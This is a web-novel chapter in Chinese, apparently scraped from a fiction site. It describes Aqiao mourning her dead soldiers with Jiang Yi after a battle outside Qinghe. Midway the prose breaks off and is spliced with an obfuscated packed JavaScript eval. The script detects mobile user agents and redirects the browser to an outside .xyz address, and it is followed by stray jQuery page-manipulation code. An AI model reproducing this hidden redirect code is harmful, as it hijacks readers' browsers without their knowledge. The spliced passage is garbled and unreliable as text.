131. 再度入城(五)
作品:《卑劣者被推上神坛》 “一炷香。”
阿乔:........
阿乔认为,就算有三个她同时动脑,也绝无可能在这么短的时间内处理完这么多事,还要桩桩件件无半处错漏。
最难的在于人员调度,每件事都要提前做好预案,遇到突发情况,才能临时分配人手。沈宜之上任的地方五年一换,沈清荇第二次安排全家搬迁,用了足足一个月才将诸事安排妥当,即便如此,还是有未能周全的变故,多亏了老管家和徐望从中协助,才化险为夷。
恕己:“公子,一切已准备妥当,给沈姑娘的车驾也腾好了。”
“知道了。”
江逸从怀中掏出一块手帕,垫在掌上,伸手说道:“薛望替你看过了,体力透支,断刃没伤到要害,你试试看,能不能起来?”
隔着手帕,伸手抓住他的手腕,“没那么娇气。”边说边毫不客气地借力起身。
早在她选择抓手腕时,江逸就调整了重心,收回准备抚她起身的右手,这才避免了被拽下去的狼狈。
临时搭建的帐篷不大,仅能容纳两人,她一站起来,就感觉脑袋一紧,看来帐篷不仅小,还矮.....这才发现江逸一直弯着腰站,真是难为他了。
他紧了紧门帘,并未急着拉开,而是先回头看了一眼阿乔,得到她郑重地点头后,哗啦一下,寒风如撞击城门的木桩,横冲直撞地涌了进来,两人不约而同打了个激灵,滴水成冰的深夜,身体里好不容易攒起的一点热气,跑了精光。
果然,心里做好准备,还是和身体准备有区别的...
看见一些熟悉的身影还在,奇妙的久别重逢的感觉,涌上心头,这场战役仿佛持续了好久,谁也未曾料到,一个时辰前还在一起说笑的身影,眨眼间就长眠此地,就连她自己也在鬼门关走了一遭。
人一旦清醒过来,就有很多事不得不去面对。
“先生怎么会出现在这里?”
“此事说来话长,我,”
“公子,”一黑衣轻甲的护卫匆匆跑来,“妘墨用地上的断刃磨断绳索,趁我们不备,逃跑了。是否要追?”
“任他去吧。”
“是。”护卫再次隐入西侧的暗林。
今夜的月光蹊跷的很,想要看清什么时,它偏偏躲在乌云后,阿乔只得努力地定睛一看,不看还好,一看吓了一大跳。
“这....”她抿了抿唇,思考着接下来的话要不要问出口。
“问吧,真要让你憋着不问,我可不知道你的小脑瓜能想出来一些什么事来。”
“先生!”阿乔本生了一双含情目,此刻正无比真挚地看向江逸,黑白分明的眼仁,湿漉漉的闪烁着,“私藏兵器铠甲,练私兵,可是灭族的重罪,冬山不是不讲情分的人,我们一会好好同她说一说,她肯定不会告发你的.....”
她越说越没底气,毕竟她,连带着冬山这支纵横沙场数年的正规军,才被人家救下,这么说多少有些过河拆桥。
江逸意味深长地点头:“言之有理。”
阿乔很明显的接受到了“然后呢”的信号,但她坚定的相信,没有什么是江狐狸搞不定的!如果有,那么她也一定搞不定!便绕开了这个话题,试图续上前一个问题。
“先生...”
“江公子。”冬山中气十足的声音在阿乔背后响起,她拱手一礼,江逸回之。“吾前来,是想向公子借一些人手,前去追击贼军粮草。”
“实不相瞒,江某方才已派人追过了。”
冬山眼神一亮:“可都烧了?”
“未曾,就中了十箭,烧了两车,余下的都被拦住了,穷寇莫追,江某想营长也是懂得这个道理的。”
冬山闻言感到遗憾,要是她能凑齐一队人,少说要烧掉贼军大半的粮草,这些人既是去驰援清河,自然是粮草越少,围困的时间越短。不过普通世家豢养的护卫能做到这个程度,也算训练有素了。
不再多言,致谢过后,便安排起撤退。
阿乔这次学乖了,开口之前先左右环视了一圈,确定无人打扰,竹筒倒豆子般,抛出了一连串的问题。
“先生来此地,可是有事要做?”
江逸刚要回答,就被她抬手拦住,她急急地继续说道:“那妘墨是怎么回事?实不相瞒,清河城内粮仓都空了,妘澈前一天便撤出了城,我们夺城后,他们便带人围城,只能以贼军为质,让妘墨去妘繇那里试一试。”
奉壹笑道:“这不巧了?公子本就打算截了这批粮,给你们送去,谁承想,在这山头碰上了。可不就是缘分?”
“当真?”阿乔亮晶晶的眸子,满怀期待的看向江逸,“那先生可是要去清河?”
奉壹神色微变,但阿乔并未留意。
出征以来,她从未像此刻这么多话,现在的她不是人人都要依赖的“沈营长”,她声音软软地继续说道:“本想着扮成义军的家眷,叫阵的时候必然把我们推到阵前挡箭,李将军出城迎战时,我们便可里应外合,杀贼军一个措手不及。”
说着,她眼神黯淡了下来,“可今夜变故陡生,此计不通,我们如今也只能游荡在城外。”
烧了整整一晚的火焰终于在天色将明时没了劲头,远处传来一阵女子的歌声,哀婉悲壮,仿佛什么很重要的东西在不断逝去,像穿过指尖的风,抓不住也留不下。
阿乔被这强烈的无力感攫住,她不由自主地走向她们,在摆放整齐的尸体中,那个熟悉的身影让她心口隐隐作痛。
“先生,”她指的很模糊,但江逸似乎感应到了她想说的话,低声吩咐了一句。阿乔努力眨眨眼,把眼眶里打转的泪水强行塞了回去,带着浓厚的鼻音说道:“他叫刘生,刘家庄人,是二十营里的一个步兵,我以前可嫌弃他了,偷奸耍滑,没半点骨气。”
“大家都说,他讲义气,但我看得出来,他不像何老十他们有族亲,孤零零的一个人,学不会左右逢源,是要被欺负的。要不是我能打,忠心表的快,入营的第一日就被人作筏子,成了十九营和二十营斗殴的牺牲品。”
“跟我似的,根本不是什么讲义气,图个生存罢了。”
她抽抽噎噎的讲,他耐心的听。
奉壹捧了一样东西来,不得不轻声打断,“沈姑娘。”
奉壹捧着的,是一身男装,料子柔软,做工讲究,一看便知出自顶好的成衣铺。
再一看刘生的一身女装,她彻底绷不住了,呜哇一声,放声哭了出来,边哭还要边讲,那个最是贪生怕死的人,在第一次迎敌时被兄弟保护在中间的人,竟然担心她不能压住宋钰的娘子军,换了一身女装来帮她。
“头儿,我想回家....”这时刘生对她说的最后一句话,不敢出声,他到死都在维护她,生怕桑扬拿她的身份大做文章,就连名字,也只敢喊一句“沈姑娘”。
回家.....
“他的木牌呢?”
她顾不得伤口,焦急朝尸堆跑去,却被江逸一把拽住,他摊开手心,是两个还留着血迹的小木牌。
“我怕你伤心,早就拿了,没敢给你。除了刘生,还有一个是沈家的护卫,我之前见过一面。”
两个拇指大小的木牌,被郑重地交到她的掌中,军队里有个不成文的规矩,人还在的时候,木牌不能取,也不能让别人碰,日日戴着,便是与物件熟悉,身死的那一刻,灵魂才能找到自己的小木牌。
“都是我的错......是我,没能保护好他们......”
远处传来一阵歌声,哔剥的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235737|170878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火焰旁,或站或坐或依着树的娘子军,用疲惫沙哑的声音唱着——
“魂归安兮,家在何方?木篱围墙,小儿啼笑.....”
送魂的歌声愈发浑厚,两人望去,江氏的黑衣护卫,也一同唱了起来,刘生连同那沈家护卫的女装已被换下。
阿乔对着燃烧尸首的方向跪下,邦邦邦三下,她重重地磕了三个响头,只见火舌从一个人的衣角蔓延到另一个人的手指,一场大火,除了小木牌和存活下来的人的记忆,真的什么都不剩了。
阿乔经历过很多死亡,天地生灵对于死亡看的很开,命悬一线时也会分离挣扎,但不会像人这般,满怀不甘怨恨不舍期盼,种种复杂情愫,让人难过的想哭。
可这次不同,逝去的人里,有她希望可以好好活下去的人,希望能一起喝酒划拳一起热闹的人,原来这就是牵挂啊,她对自己说。
“魂归安兮,家在何方?木篱围墙,小儿啼笑.....”
火舌烧过人尚存油脂的肌肤,噼里啪啦作响,为这歌声徒添哀伤。
另一侧,是无人收敛的贼军尸体,死者为大,但她们要赶着上路,实在来不及一同送葬。
“先生,他们也是大越人。”
“我看过名册,妘家军中,并非全部是妘氏子弟,妘氏为了拉拢人心,四处收养孤儿,赐予姓氏,好教他们替妘氏卖命。”江逸紧了紧她的披风,“很可笑,是不是?”
“先生,我想回家,”她目光饱含悲悯,“刘生,她们,还有他们,都只是想守护自己的家、重要的人而已,为什么他们非要生死相见?我不明白.....”
她生于南梧,长于大越,她曾在南梧与大越的交界城镇,待过半月,那里的人不问血脉出身,人品好、酒量好、赌品好,都能成为朋友。
所以她不明白,为什么会有战争?
“人心不足蛇吞象。葛氏不满蜷居在这偏僻的边陲郡县,可惜族中子弟不济,入仕者寥寥;妘氏的族长软弱了一辈子,奈何子女野心勃勃;至于那些蕞尔小国,不过是想趁机咬下一块肉,分一杯羹,充盈国库,供皇室玩乐。”
阿乔笑了一声,神色戚戚,目含悲愤,似乎是对着茫茫山野,长眠于此处的灵魂,大声回应道:“可笑!可笑至极!”“
“这仗打来打去,死了那么多人,白骨盈野,有家者偏偏要南下躲到宛江,良民被逼着签下身契去当那挡箭的马前卒,孤儿被冠了一个姓氏就要卖命,一城的百姓被当做政客手中的筹码,这仗,打的当真是可笑!”
但回应她的,却是沉默。
歌声渐弱,风扬起白灰,朝着清河的方向送去。
奉壹、恕己连同身后的护卫,不能接这大逆不道的话,却面露悲色,暗自动容。
“这条路,不好走。”
他的衣袖在烈烈朔风翻飞,阿乔侧眸,只见他已站在她的身旁,与她并排而立。
月光沉沉,仿佛是他顶起来这沉厚的光辉,正如他数次,以少年的身量,顶起一个偌大的家族那般。
她想,月亮一点也不温柔。
她伸手接住盈盈月色:“那也要试试。”
“恕己,”江逸从袖中拿出一块玉牌,月色下泛着莹莹清辉,“带到宛江,给江鹭,他看见玉牌就明白该怎么做了。”
“公子不可!”奉壹惊道,语调都高了八个度,恕己凝眉不语,素来不曾违抗命令的他,头一次产生了迟疑。
阿乔好奇地看去,她从未见过如此温润的玉,色泽如春日碧波,荡人心神,雕刻着芝兰图案,正中央刻着一个“江”字,笔法端庄,但不失飘逸。
“这是...家主信物...?”阿乔轻声迟疑道。看见恕己和奉壹的态度,她语调陡然升高,“你想随我入城?!”